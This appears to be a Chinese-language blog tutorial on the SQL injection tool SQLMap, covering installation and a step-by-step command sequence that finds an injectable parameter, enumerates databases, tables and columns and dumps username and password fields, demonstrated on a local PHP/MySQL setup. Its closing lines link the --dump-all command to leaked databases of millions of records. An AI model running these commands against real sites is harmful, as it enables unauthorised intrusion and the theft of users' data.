0x 00 前言
正是SQLMAP這種神器的存在,SQL注入簡直Easy到根本停不下來....
PS:國內類似軟件也有阿D,明小子,挖掘機,當你用過他們之後你纔會發現SQLMap纔是絕對的注入神器
0x 01 注入原理
*****************************************開始分割線*****************************************
時間原因,這段內容就先不寫了
就是因爲太重要了所以要整理好在寫上哈
雖然事實上是我現在還沒搞太明白我會亂說 :)
*****************************************結束分割線*****************************************
0x 02 安裝SQLMap
1. 安裝python
官網https://www.python.org/ 選擇最新版本下載安裝即可
因爲SQLMap使用Python寫的 ,所以沒有Python的環境SQLMap無法運行
2. 安裝SQLMap
官網 http://sqlmap.org/ 選擇最近版本安裝即可
3. 設置環境變量
爲了使用便利,將SQLMAP的安裝目錄添加到系統環境變量中
之後在CMD中就可以直接使用SQLMap了
不設置環境變量的話,要把CMD的當前目錄切換到SQLMap安裝目錄纔可以使用
0x 03 SQLMap常用命令介紹
1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
判斷id參數是否存在注入:結果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步驟纔可以執行成功~
2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
列舉能列出的所有數據庫名
3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
列出當前使用的數據庫名,假設列出“sqltest”數據庫
4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
判斷該注入點是否有管理員權限:返回true 表示是管理員
5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
獲取sqltest中的所有表,假設有"admin"表
6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
列舉表admin的字段(列名),假設存在"username","password"字段
7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
下載字段username,password的值,若詢問是否破解md5加密,選擇no即可
至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的數據
想看工具的注入過程 使用-v參數
-level 會提高注入等級(默認0 只會判斷get,post參數是否有注入點)
若注入點是POST方式,或是注入點才Cookie,User-Agent中,可以利用-Date 參數 -Cookie參數指定
當然用buip Suite架個代理,截取數據包,直接 -r 參數引入數據包也可以完成上述的注入情況的~
0x 04 注入Demo
本次演示使用Apache+Php +Mysql 環境,其他環境的話
使用SQLMap輸入還是相同的命令,這點SQLMap做的好方便
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有數據庫名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出當前數據庫
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba 判斷注入點是否有管理員權限
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables 猜表名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns 猜字段名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值
網絡上流傳的脫褲 用的可就是下面的一句話
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
突然發現 強大的東西往往僅僅是一句話 ! !
這條命令會直接把test數據庫中所有的表全部下載到安裝目錄output文件夾中
然後就有了 2000W xxx 800W xxx ....................你懂得